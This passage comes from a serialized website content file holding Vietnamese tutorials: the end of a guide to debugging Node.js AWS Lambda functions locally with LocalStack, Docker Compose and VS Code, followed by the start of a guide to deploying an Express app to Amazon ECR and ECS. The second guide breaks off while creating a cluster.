tra và debug ứng dụng của bạn mà không cần phải kết nối đến một môi trường đám mây thực sự.",[498,7123,1914],{"id":5463},[657,7125,7127],{"id":7126},"cài-đặt-localstack",[20,7128,7129],{},"Cài đặt LocalStack",[11,7131,7132],{},"Làm theo hướng dẫn ở link sau để cài đặt LocalStack:",[11,7134,7135],{},[58,7136,7137],{"href":7137,"rel":7138},"https:\u002F\u002Fdocs.localstack.cloud\u002Fgetting-started\u002Finstallation\u002F",[62],[657,7140,7142],{"id":7141},"cài-đặt-docker",[20,7143,7144],{},"Cài đặt Docker",[11,7146,7147],{},"Làm theo hướng dẫn ở link sau để cài đặt Docker:",[11,7149,7150],{},[58,7151,7152],{"href":7152,"rel":7153},"https:\u002F\u002Fdocs.docker.com\u002Fengine\u002Finstall\u002F",[62],[657,7155,7157],{"id":7156},"cài-đặt-aws-cli",[20,7158,7159],{},"Cài đặt AWS CLI",[11,7161,7162],{},"Làm theo hướng dẫn ở link sau để cài đặt AWS CLI và cấu hình profile cho môi trường local:",[11,7164,7165],{},[58,7166,7167],{"href":7167,"rel":7168},"https:\u002F\u002Fdocs.localstack.cloud\u002Fuser-guide\u002Fintegrations\u002Faws-cli\u002F#aws-cli",[62],[498,7170,7172],{"id":7171},"thiết-lập-localstack","Thiết lập LocalStack",[657,7174,7176],{"id":7175},"tạo-file-docker-composeyml","Tạo file docker-compose.yml",[11,7178,7179],{},"Chúng ta sẽ bắt đầu LocalStack với thiết lập Docker-Compose. Tạo một file mới có tên docker-compose.yml và thêm cấu hình sau:",[696,7181,7184],{"className":7182,"code":7183,"language":701},[699],"version: \"3.8\"\n\nservices:\n  localstack:\n    container_name: \"${LOCALSTACK_DOCKER_NAME-localstack_main}\"  # Name of the container to be used\n    image: localstack\u002Flocalstack:latest  # Docker image for LocalStack, latest version\n    ports:\n      - \"127.0.0.1:4566:4566\"            # Port for accessing LocalStack Gateway from the local machine\n      - \"127.0.0.1:4510-4559:4510-4559\"  # Port range for external services\n    environment:\n      - DEBUG=1  # Enable Debug mode in LocalStack\n      - LAMBDA_REMOTE_DOCKER=0  # Turn off remote Docker usage for Lambda\n      - LAMBDA_DOCKER_FLAGS=-e NODE_OPTIONS=--inspect-brk=0.0.0.0:9229 -p 9229:9229  # Exposes port 9229 for debugging the Lambda handler code.\n      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR-}  # Lambda execution type (if defined)\n      - DOCKER_HOST=unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock  # Link to Docker via Docker socket\n    volumes:\n      - \"${LOCALSTACK_VOLUME_DIR:-.\u002Fvolume}:\u002Fvar\u002Flib\u002Flocalstack\"  # Mount point for LocalStack data directory\n      - \"\u002Fvar\u002Frun\u002Fdocker.sock:\u002Fvar\u002Frun\u002Fdocker.sock\"  # Mount Docker socket to access Docker from the LocalStack container\n",[703,7185,7183],{"__ignoreMap":66},[11,7187,7188],{},"Ngoài ra để xem thêm các cấu hình khác của LocalStack bạn có thể tham khảo link sau:",[11,7190,7191],{},[58,7192,7193],{"href":7193,"rel":7194},"https:\u002F\u002Fdocs.localstack.cloud\u002Freferences\u002Fconfiguration\u002F",[62],[657,7196,7198],{"id":7197},"khởi-động-localstack-với-docker","Khởi động LocalStack với Docker",[11,7200,7201],{},"Chúng ta sẽ chạy lệnh sau để khởi động LocalStack:",[696,7203,7206],{"className":7204,"code":7205,"language":701},[699],"docker compose up -d\n",[703,7207,7205],{"__ignoreMap":66},[11,7209,7210],{},"Sau khi chạy lệnh trên thì chúng ta thấy Docker Container đã được Running",[533,7212],{"className":7213,"alt":66,"src":7214,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12132634\u002Fdocker-container-start.png",[11,7216,7217],{},"Và đã khởi động thành công LocalStack",[533,7219],{"className":7220,"alt":66,"src":7221,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12134424\u002Flocalstack-start-success.png",[498,7223,7225],{"id":7224},"thiết-lập-lambda-function-debugging","Thiết lập Lambda Function Debugging",[657,7227,7229],{"id":7228},"tạo-file-launchjson","Tạo file launch.json",[11,7231,7232],{},"Chúng ta tạo một file .vscode\u002Flaunch.json và thêm cấu hình sau:",[696,7234,7237],{"className":7235,"code":7236,"language":701},[699],"{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"address\": \"127.0.0.1\",\n      \"localRoot\": \"${workspaceFolder}\",\n      \"name\": \"Attach to Remote Node.js\",\n      \"port\": 9229,\n      \"remoteRoot\": \"\u002Fvar\u002Ftask\u002F\",\n      \"request\": \"attach\",\n      \"type\": \"node\",\n      \"preLaunchTask\": \"Wait Remote Debugger Server\"\n    },\n  ]\n}\n",[703,7238,7236],{"__ignoreMap":66},[657,7240,7242],{"id":7241},"tạo-file-tasksjson","Tạo file tasks.json",[11,7244,7245],{},"Chúng ta tạo một file .vscode\u002Ftasks.json và thêm cấu hình sau:",[696,7247,7250],{"className":7248,"code":7249,"language":701},[699],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"while [[ -z $(docker ps | grep :9229) ]]; do sleep 1; done; sleep 1;\"\n    }\n  ]\n}\n",[703,7251,7249],{"__ignoreMap":66},[11,7253,7254],{},"Lưu ý: Đoạn code trên chỉ thực thi trên Linux và macOS. Nếu bạn đang dùng Windows thì sẽ thực hiện như sau:",[11,7256,7257],{},"Tạo file .vscode\u002Ftasks.json:",[696,7259,7262],{"className":7260,"code":7261,"language":701},[699],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"powershell\",\n      \"args\": [\n        \".\\\\.vscode\\\\wait-debugger.ps1\"\n      ]\n    }\n  ]\n}\n",[703,7263,7261],{"__ignoreMap":66},[11,7265,7266],{},"Tạo file .vscode\u002Fwait-debugger.ps1:",[696,7268,7271],{"className":7269,"code":7270,"language":701},[699],"while (-not (docker ps | Select-String \":9229\")) {\n  Start-Sleep -Seconds 1\n}\nStart-Sleep -Seconds 1\n",[703,7272,7270],{"__ignoreMap":66},[657,7274,7276],{"id":7275},"tạo-file-functionts","Tạo file function.ts",[11,7278,7279],{},"Trong ví dụ này, chúng ta sẽ tạo file function.ts chứa code hàm Lambda bằng Node.js và TypeScript để kiểm tra debug:",[696,7281,7284],{"className":7282,"code":7283,"language":701},[699],"export const  handler = async (event: any) =>  {\n  const response = {\n    statusCode: 200,\n    body: \"hello word\",\n  };\n  return response;\n};\n",[703,7285,7283],{"__ignoreMap":66},[498,7287,7289],{"id":7288},"tạo-lambda-function-trên-localstack","Tạo Lambda Function trên LocalStack",[11,7291,7292],{},"Để tạo Lambda Function trên LocalStack chúng ta sử dụng câu lệnh sau:",[696,7294,7297],{"className":7295,"code":7296,"language":701},[699],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda create-function \\\n--function-name localstack-lambda-function \\\n--code S3Bucket=\"hot-reload\",S3Key=\"$(pwd)\u002F\" \\\n--handler function.handler \\\n--runtime nodejs18.x \\\n--timeout 120 \\\n--role arn:aws:iam::000000000000:role\u002Flambda-role\n",[703,7298,7296],{"__ignoreMap":66},[11,7300,7301],{},"Sau khi chạy lệnh trên thì Lambda Function đã được tạo thành công trên LocalStack",[533,7303],{"className":7304,"alt":66,"src":7305,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13084745\u002Fcreate-lambda-function-on-localstack-1024x495.png",[498,7307,7309],{"id":7308},"thực-hiện-debugging-lambda-function","Thực hiện Debugging Lambda Function",[11,7311,7312],{},"Trong VS Code bạn có thể debug bằng cách đặt các breakpoint chỗ đoạn code cần debug và nhấn F5 để chạy",[533,7314],{"className":7315,"alt":66,"src":7316,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091141\u002Fstart-debug-lambda-local-1024x532.png",[11,7318,7319],{},"Sau đó thực thi Lambda Function bằng câu lệnh sau:",[696,7321,7324],{"className":7322,"code":7323,"language":701},[699],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda invoke \\\n--function-name localstack-lambda-function lambda.log \\\n--cli-binary-format raw-in-base64-out \\\n--payload '{\"hello\":\"world\"}'\n",[703,7325,7323],{"__ignoreMap":66},[11,7327,7328],{},"Sau khi chạy lệnh trên thì bạn đã debug thành công",[533,7330],{"className":7331,"alt":66,"src":7332,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091644\u002Fdebug-success-1024x526.png",[498,7334,7336],{"id":7335},"thực-hiện-debugging-lambda-function-với-amazon-s3-để-trigger-aws-lambda-khi-upload-file","Thực hiện Debugging Lambda Function với Amazon S3 để trigger AWS Lambda khi upload file",[657,7338,7340],{"id":7339},"tạo-bucket-trên-amazon-s3","Tạo bucket trên Amazon S3",[11,7342,7343],{},"Để tạo bucket trên Amazon S3 chúng ta sử dụng câu lệnh sau:",[696,7345,7348],{"className":7346,"code":7347,"language":701},[699],"aws s3api create-bucket --bucket local-stack-bucket --create-bucket-configuration LocationConstraint=ap-northeast-1 --endpoint-url=http:\u002F\u002Flocalhost:4566\n",[703,7349,7347],{"__ignoreMap":66},[11,7351,7352],{},"Trong đó:",[31,7354,7355],{},[34,7356,7357,7360],{},[20,7358,7359],{},"local-stack-bucket:"," là tên của bucket",[657,7362,7364],{"id":7363},"cấu-hình-amazon-s3-trigger-đến-lambda-function","Cấu hình Amazon S3 trigger đến Lambda Function",[11,7366,7367],{},"Để trigger Lambda Function khi upload file lên Amazon S3 chúng ta sử dụng câu lệnh sau:",[696,7369,7372],{"className":7370,"code":7371,"language":701},[699],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 s3api put-bucket-notification-configuration \\\n    --bucket local-stack-bucket \\\n    --notification-configuration '{\n        \"LambdaFunctionConfigurations\": [\n          {\n            \"Id\": \"1\", \n            \"LambdaFunctionArn\": \"arn:aws:lambda:ap-northeast-1:000000000000:function:localstack-lambda-function\",\n            \"Events\": [\"s3:ObjectCreated:*\"]\n          }\n        ]\n    }'\n",[703,7373,7371],{"__ignoreMap":66},[11,7375,7352],{},[31,7377,7378,7383,7389],{},[34,7379,7380,7382],{},[20,7381,7359],{}," là tên của bucket cần cấu hình",[34,7384,7385,7388],{},[20,7386,7387],{},"LambdaFunctionArn:"," là Arn của Lambda Function cần trigger",[34,7390,7391,7394],{},[20,7392,7393],{},"Events:"," là sự kiện trên Amazon S3 để trigger Lambda Function",[657,7396,7398],{"id":7397},"tiến-hành-debug-lambda-function","Tiến hành debug Lambda Function",[11,7400,7312],{},[533,7402],{"className":7403,"alt":66,"src":7404,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05135231\u002Fcode-debug-1-1024x520.png",[11,7406,7407],{},"Sau đó tiến hành upload file lên Amazon S3 bucket trên LocalStack cloud",[533,7409],{"className":7410,"alt":66,"src":7411,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145618\u002Fapp-localstack-1024x369.png",[11,7413,7414],{},"Sau khi upload file thì bạn đã debug thành công",[533,7416],{"className":7417,"alt":66,"src":7418,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145927\u002Fresult-debug-1024x522.png",[498,7420,7422],{"id":7421},"các-mặt-hạn-chế-của-localstack","Các mặt hạn chế của LocalStack",[11,7424,7425,7428],{},[20,7426,7427],{},"Hỗ Trợ Giới Hạn Cho Dịch Vụ AWS:"," LocalStack cung cấp giả lập cho một số dịch vụ quan trọng như S3, DynamoDB, Lambda, và SQS. Tuy nhiên, không phải tất cả các dịch vụ AWS đều được hỗ trợ, và một số dịch vụ có thể không có hoặc chỉ được triển khai với một số tính năng cơ bản. Điều này có thể là một rắc rối nếu ứng dụng của bạn phụ thuộc vào các dịch vụ không được hỗ trợ.",[11,7430,7431,7434],{},[20,7432,7433],{},"Thiếu Tính Năng:"," Mặc dù LocalStack giúp mô phỏng các dịch vụ, nhưng không phải tất cả các tính năng của chúng được triển khai. Các tùy chọn cấu hình có thể bị giới hạn, làm giảm sự tương thích giữa môi trường phát triển local và môi trường thực tế trên AWS.",[11,7436,7437,7440],{},[20,7438,7439],{},"Khả Năng Mở Rộng Hạn Chế:"," LocalStack không thiết kế để mở rộng mạnh mẽ như môi trường AWS. Nếu bạn đang làm việc trên các dự án lớn với quy mô lớn, việc kiểm thử và phát triển trong môi trường local có thể không phản ánh đúng thực tế trên AWS.",[11,7442,7443,7446],{},[20,7444,7445],{},"Sự Chậm Trễ:"," Do sự giả lập và cố gắng sao chép các dịch vụ AWS, LocalStack có thể có sự chậm trễ so với việc sử dụng các dịch vụ thực tế. Điều này có thể làm giảm hiệu suất và làm chậm quá trình phát triển và kiểm thử.",[11,7448,7449,7452],{},[20,7450,7451],{},"Cập Nhật Chậm:"," LocalStack có thể không cập nhật nhanh chóng theo các phiên bản mới của dịch vụ AWS. Điều này có thể tạo ra sự không đồng bộ khi cần sử dụng các tính năng mới hoặc khi có sự thay đổi trong API của AWS.",[498,7454,7456],{"id":7455},"kết-luận","Kết luận",[11,7458,7459],{},"Về việc sử dụng LocalStack giúp chúng ta phát triển và debug Lambda Function, cũng như các dịch vụ AWS khác một cách hiệu quả trên môi trường local. Nó giúp đảm bảo tích hợp và hoạt động đúng trước khi triển khai lên AWS thực tế, tiết kiệm thời gian, chi phí và giảm tác động đến tài khoản AWS thực tế của bạn trong quá trình phát triển.",[498,7461,7462],{"id":5255},"Tài liệu tham khảo",[11,7464,7465],{},[58,7466,7467],{"href":7467,"rel":7468},"https:\u002F\u002Fdocs.localstack.cloud\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":7470},[7471,7472,7477,7481,7486,7487,7488,7493,7494,7495],{"id":7115,"depth":67,"text":7118},{"id":5463,"depth":67,"text":1914,"children":7473},[7474,7475,7476],{"id":7126,"depth":1417,"text":7129},{"id":7141,"depth":1417,"text":7144},{"id":7156,"depth":1417,"text":7159},{"id":7171,"depth":67,"text":7172,"children":7478},[7479,7480],{"id":7175,"depth":1417,"text":7176},{"id":7197,"depth":1417,"text":7198},{"id":7224,"depth":67,"text":7225,"children":7482},[7483,7484,7485],{"id":7228,"depth":1417,"text":7229},{"id":7241,"depth":1417,"text":7242},{"id":7275,"depth":1417,"text":7276},{"id":7288,"depth":67,"text":7289},{"id":7308,"depth":67,"text":7309},{"id":7335,"depth":67,"text":7336,"children":7489},[7490,7491,7492],{"id":7339,"depth":1417,"text":7340},{"id":7363,"depth":1417,"text":7364},{"id":7397,"depth":1417,"text":7398},{"id":7421,"depth":67,"text":7422},{"id":7455,"depth":67,"text":7456},{"id":5255,"depth":67,"text":7462},"2024-03-08",{},"\u002Fvi\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack",{"title":7110,"description":7121},"vi\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12100501\u002Flocalstack-image.jpg","fwvf8zilk_kswNNQri-QTeA3lPhIecxt6R2GESzCTS8",{"id":7504,"title":7505,"body":7506,"category":1430,"created by":70,"date":7974,"description":7975,"extension":72,"meta":7976,"navigation":74,"path":7977,"sections":76,"seo":7978,"stem":7979,"thumbnail":7980,"__hash__":7981},"content_vi\u002Fvi\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker.md","Triển khai ứng dụng Node lên ECS bằng Docker",{"type":8,"value":7507,"toc":7961},[7508,7511,7515,7530,7539,7545,7557,7561,7564,7567,7571,7574,7577,7583,7586,7592,7595,7601,7604,7607,7611,7614,7620,7624,7627,7633,7637,7640,7646,7649,7653,7656,7662,7665,7669,7673,7676,7679,7685,7688,7694,7697,7701,7704,7713,7716,7720,7723,7731,7735,7738,7742,7745,7752,7756,7759,7773,7776,7808,7812,7816,7819,7823,7852,7856,7859,7863,7866,7870,7873,7902,7906,7909,7917,7921,7924,7929,7933,7941,7943,7949,7955],[11,7509,7510],{},"Trong hướng dẫn này, tôi sẽ hướng dẫn bạn các bước về cách đóng gói một ứng dụng Node.js và sau đó triển khai nó lên Amazon Web Services (AWS) bằng cách sử dụng Amazon Elastic Container Registry (ECR) và Amazon Elastic Container Service (ECS). Chúng ta sẽ làm điều đó như sau:",[498,7512,7514],{"id":7513},"_1-thiết-lập-môi-trường","1) Thiết lập môi trường",[11,7516,7517,1094,7520,7523,7524,7529],{},[20,7518,7519],{},"Node",[20,7521,7522],{},"Npm",": ",[58,7525,7528],{"href":7526,"rel":7527},"https:\u002F\u002Fnodejs.org\u002Fen\u002F",[62],"Chọn vào liên kết này"," để cài đặt phiên bản mới nhất.",[11,7531,7532,7523,7535,7529],{},[20,7533,7534],{},"Docker",[58,7536,7528],{"href":7537,"rel":7538},"https:\u002F\u002Fdocs.docker.com\u002Finstall\u002F",[62],[11,7540,7541,7544],{},[20,7542,7543],{},"AWS account",": Đăng ký với một tài khoản miễn phí.",[11,7546,7547,7550,7551,7556],{},[20,7548,7549],{},"AWS CLI",": Làm theo ",[58,7552,7555],{"href":7553,"rel":7554},"https:\u002F\u002Faws.amazon.com\u002Fcli\u002F",[62],"hướng dẫn"," cho hệ điều hành của bạn.",[498,7558,7560],{"id":7559},"_2-tổng-quan-về-docker-và-aws","2) Tổng quan về Docker và AWS",[11,7562,7563],{},"Docker là phần mềm mã nguồn mở cho phép bạn đóng gói một ứng dụng cùng với các biến môi trường và phụ thuộc bắt buộc của nó trong một vùng chứa mà bạn có thể vận chuyển và chạy ở bất cứ đâu. Nó độc lập với nền tảng hoặc phần cứng, và do đó ứng dụng được chạy trong bất kỳ môi trường nào theo cách riêng biệt.",[11,7565,7566],{},"Amazon Web Services (AWS) cung cấp một dịch vụ điện toán đám mây đáng tin cậy, có thể mở rộng và không tốn kém. Như tôi đã đề cập trước đây, hướng dẫn này sẽ tập trung vào việc sử dụng các dịch vụ ECR và ECS của AWS..",[498,7568,7570],{"id":7569},"_3-ứng-dụng-nodejs-để-triển-khai","3) Ứng dụng Node.js để triển khai",[11,7572,7573],{},"Hãy nhanh chóng tạo một ứng dụng mẫu mà chúng ta sẽ sử dụng cho mục đích của hướng dẫn này. Nó sẽ là ứng dụng Node.js rất đơn giản.",[11,7575,7576],{},"Nhập thông tin sau vào thiết bị đầu cuối của bạn:",[696,7578,7581],{"className":7579,"code":7580,"language":701},[699],"\u002F\u002F Tạo thư mục mới\n$ mkdir ecs-nodejs-app\n\n\u002F\u002F Di chuyển đến thư mục mới tạo\n$ cd ecs-nodejs-app\n\n\u002F\u002F Khởi tạo npm\n$ npm init -y\n\n\u002F\u002F Cài đặt express\n$ npm install express\n\n\u002F\u002F Tạo tệp server.js\n$ touch server.js\n",[703,7582,7580],{"__ignoreMap":66},[11,7584,7585],{},"Mở tệp server.js và dán source code bên dưới vào trong đó:",[696,7587,7590],{"className":7588,"code":7589,"language":701},[699],"\u002F\u002F server.js\n\nconst express = require('express')\nconst app = express()\n\napp.get('\u002F', (req, res) => {\nres.send('Welcome from a Node.js app!')\n})\n\napp.listen(3000, () => {\nconsole.log('Server is up on 3000')\n})\n",[703,7591,7589],{"__ignoreMap":66},[11,7593,7594],{},"Khởi động ứng dụng với dòng lệnh sau:",[696,7596,7599],{"className":7597,"code":7598,"language":701},[699],"$ node server.js\n",[703,7600,7598],{"__ignoreMap":66},[11,7602,7603],{},"Truy cập nó trên http: \u002F\u002F localhost: 3000. Bạn sẽ nhận được Welcome from a Node.js app! hiển thị trong trình duyệt của bạn.",[11,7605,7606],{},"Tiếp theo, chúng ta sẽ đóng gói ứng dụng.",[498,7608,7610],{"id":7609},"_4-viết-dockerfile","4) Viết Dockerfile",[11,7612,7613],{},"Chúng tôi sẽ bắt đầu đóng gói ứng dụng bằng cách tạo một tệp duy nhất được gọi là Dockerfile trong thư mục gốc của dự án. Tệp này không có phần mở rộng.",[696,7615,7618],{"className":7616,"code":7617,"language":701},[699],"FROM node:8-alpine\nRUN mkdir -p \u002Fusr\u002Fsrc\u002Fapp\nWORKDIR \u002Fusr\u002Fsrc\u002Fapp\nCOPY . .\nRUN npm install\nEXPOSE 3000\nCMD [ \"node\", \"server.js\" ]\n",[703,7619,7617],{"__ignoreMap":66},[498,7621,7623],{"id":7622},"_5-xây-dựng-image-docker","5. Xây dựng Image Docker",[11,7625,7626],{},"Đảm bảo rằng bạn đã thiết lập và chạy Docker. Bây giờ chúng ta đã xác định Dockerfile của mình, hãy xây dựng Image Docker  bằng  -t như sau:",[696,7628,7631],{"className":7629,"code":7630,"language":701},[699],"$ docker build -t ecs-nodejs-app .\n",[703,7632,7630],{"__ignoreMap":66},[498,7634,7636],{"id":7635},"_6-chạy-một-docker-container","6. Chạy một Docker Container",[11,7638,7639],{},"Chúng tôi đã xây dựng Image Docker. Để xem Image Docker đã tạo trước đó, hãy chạy:",[696,7641,7644],{"className":7642,"code":7643,"language":701},[699],"$ docker images\n",[703,7645,7643],{"__ignoreMap":66},[11,7647,7648],{},"Bạn sẽ thấy Image Docker chúng ta vừa tạo là Image Docker gần đây nhất dựa trên thời gian::",[533,7650],{"className":7651,"alt":66,"src":7652,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28113202\u002Fimg_docker.png",[11,7654,7655],{},"Sao chép Image Id. Để chạy container, chúng ta gõ lệnh sau:",[696,7657,7660],{"className":7658,"code":7659,"language":701},[699],"$docker run -p 80:3000 {image-id}\n\n\u002F\u002F Nhập image-id đã sao chép\n",[703,7661,7659],{"__ignoreMap":66},[11,7663,7664],{},"Ở đây chúng ta triển khai ứng dụng lên cổng 80: 3000. Vì chúng ta đang chạy Docker cục bộ, hãy truy cập http: \u002F\u002F localhost để xem.",[533,7666],{"className":7667,"alt":66,"src":7668,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28155452\u002Flocal.png",[498,7670,7672],{"id":7671},"_7-tạo-nơi-đăng-ký-và-đẩy-image-docker-của-chúng-ta-vào-đó","7. Tạo nơi đăng ký và đẩy Image Docker của chúng ta vào đó",[11,7674,7675],{},"Amazon Elastic Container Registry (ECR) là \"sổ đăng ký bộ chứa\" được quản lý toàn phần giúp bạn dễ dàng lưu trữ, quản lý, chia sẻ và triển khai Image trong contanier cũng như thành phần lạ ở bất cứ nơi nào. Amazon ECR được tích hợp với Amazon Elastic Container Service (ECS), giúp đơn giản hóa quy trình công việc từ khâu phát triển đến khâu sản xuất..",[11,7677,7678],{},"Trước khi chúng ta đẩy Image Docker của mình lên, hãy đảm bảo rằng AWS CLI của bạn có thể kết nối với tài khoản AWS của bạn. Chạy câu lệnh sau:",[696,7680,7683],{"className":7681,"code":7682,"language":701},[699],"$ aws configure\n",[703,7684,7682],{"__ignoreMap":66},[11,7686,7687],{},"Nếu AWS CLI của bạn đã được cài đặt, cấu hình aws sẽ yêu cầu  các thông tin sau:",[696,7689,7692],{"className":7690,"code":7691,"language":701},[699],"$ aws configure\nAWS Access Key ID [None]: \u003Caccesskey>\nAWS Secret Access Key [None]: \u003Csecretkey>\nDefault region name [None]: us-east-2\nDefault output format [None]:\n",[703,7693,7691],{"__ignoreMap":66},[11,7695,7696],{},"Xác nhận rằng AWS CLI của bạn được cấu hình đúng bằng cách chạy lại lệnh cấu hình aws và nhấn enter ở mỗi lần thông báo để chấp nhận:",[533,7698],{"className":7699,"alt":66,"src":7700,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123142\u002Faws.png",[11,7702,7703],{},"Các bước để tạo Registry cho Image Docker của bạn:",[11,7705,7706,7707,7712],{},"Đi tới ",[58,7708,7711],{"href":7709,"rel":7710},"https:\u002F\u002Faws.amazon.com\u002F",[62],"Bảng điều khiển AWS"," và đăng nhập.",[11,7714,7715],{},"Trong danh mục Services , dưới Containers, chọn ECS:",[533,7717],{"className":7718,"alt":66,"src":7719,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123526\u002Fecs-1-1024x454.png",[11,7721,7722],{},"Trên menu bên trái, bên dưới Amazon ECR, di chuyển đến Repositories sau đó chọn Create Repository. Nhập vào tên , ví dụ chúng ta nhập là \"ecs-nodejs-app\", sau đó nhấn Create Repository.",[11,7724,7725,7729],{},[533,7726],{"className":7727,"alt":66,"src":7728,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123731\u002Fecr-1024x669.png",[570,7730],{},[533,7732],{"className":7733,"alt":66,"src":7734,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F14084222\u002Fviewpush-1024x422.png",[11,7736,7737],{},"Sau đó trên màn hình Repositories chọn Repository name đối tượng, nhấn vào View Push Commands ở phía trên bên phải và làm theo 4 hướng dẫn từ bảng điều khiển AWS để building, tagging, và pushing Image Docker của bạn:",[533,7739],{"className":7740,"alt":66,"src":7741,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123922\u002Fstep_ecr-1024x669.png",[11,7743,7744],{},"Bây giờ, hãy truy cập Amazon ECR của bạn và nhấp vào tên kho lưu trữ của bạn và bạn sẽ thấy Image Docker của mình ở đó. Sao chép URI của Image Docker này, chúng ta sẽ cần dán nó vào bước tiếp theo:",[11,7746,7747,7751],{},[533,7748],{"className":7749,"alt":66,"src":7750,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28124312\u002Fimg_ecr-1024x295.png"," Tiếp theo, chúng ta sẽ tạo Task, Service, và Cluster để chạy Image Docker này trên EC2.",[498,7753,7755],{"id":7754},"_8-tạo-task-definition","8. Tạo Task Definition",[11,7757,7758],{},"Tasks trên AWS có chức năng giống như lệnh chạy docker trên Docker CLI. Nó được định nghĩa:",[31,7760,7761,7764,7767,7770],{},[34,7762,7763],{},"Container images",[34,7765,7766],{},"Volumes",[34,7768,7769],{},"Networks Environment Variables",[34,7771,7772],{},"Port mappings",[11,7774,7775],{},"Từng bước để tạo mới Task Definition:",[855,7777,7778,7781,7784,7787,7790,7793,7796,7799,7802,7805],{"style":2672},[11,7779,7780],{},"1. Task Definitions trong bảng điều khiển (ở bên trái), chọn nút Create new Task Definition.",[11,7782,7783],{},"2. Ở Launch Type chọn EC2.",[11,7785,7786],{},"3. Đặt tên cho Task (ví dụ: \"ecs-nodejs-app-task\"), sao đó bỏ qua các trường tiếp theo và cuộn xuống bên dưới để chọn thêm mới container.",[11,7788,7789],{},"4. Đặt tên cho container (ví dụ: \"ecs-nodejs-app-container\").",[11,7791,7792],{},"5. Dán đường dẫn Image URI lúc nãy copy vào đây.",[11,7794,7795],{},"6. Tại hạng mục Memory Limits, chọn \"Soft Limit\" và nhập giá trị thích hợp ví dụ  nhập \"512\"",[11,7797,7798],{},"7. Ánh xạ các cổng (ví dụ, nhập \"80: 3000\"), chọn giao thức \"TCP\"",[11,7800,7801],{},"8. Cuộn xuống Environment Variables và thiết lập \"NODE_ENV\" làm khóa và \"production\" làm giá trị.",[11,7803,7804],{},"9. Bỏ qua mọi thứ khác, cuộn xuống cuối cùng và chọn nút Add.",[11,7806,7807],{},"10. Quay lại cửa sổ Create Task Definition, bạn sẽ thấy Container và Image Docker của bạn sẽ hiện ra, sau đó thì cuộn xuống và chọn \"Create\"",[533,7809],{"className":7810,"alt":66,"src":7811,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28124940\u002Fcontainer-1024x710.png",[498,7813,7815],{"id":7814},"_9-tạo-cluster","9. Tạo Cluster",[11,7817,7818],{},"Từng bước tạo Cluster:",[533,7820],{"className":7821,"alt":66,"src":7822,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125117\u002Fcluster-1024x252.png",[855,7824,7825,7828,7831,7834,7837,7840,7843,7846,7849],{"style":2672},[11,7826,7827],{},"1. Từ danh mục Services, chọn ECS để quay lại bảng điều khiển ECS.",[11,7829,7830],{},"2. Từ danh mục bên trái, dưới Amazon ECS (không phải EKS), chọn Clusters, sau đó chọn Create 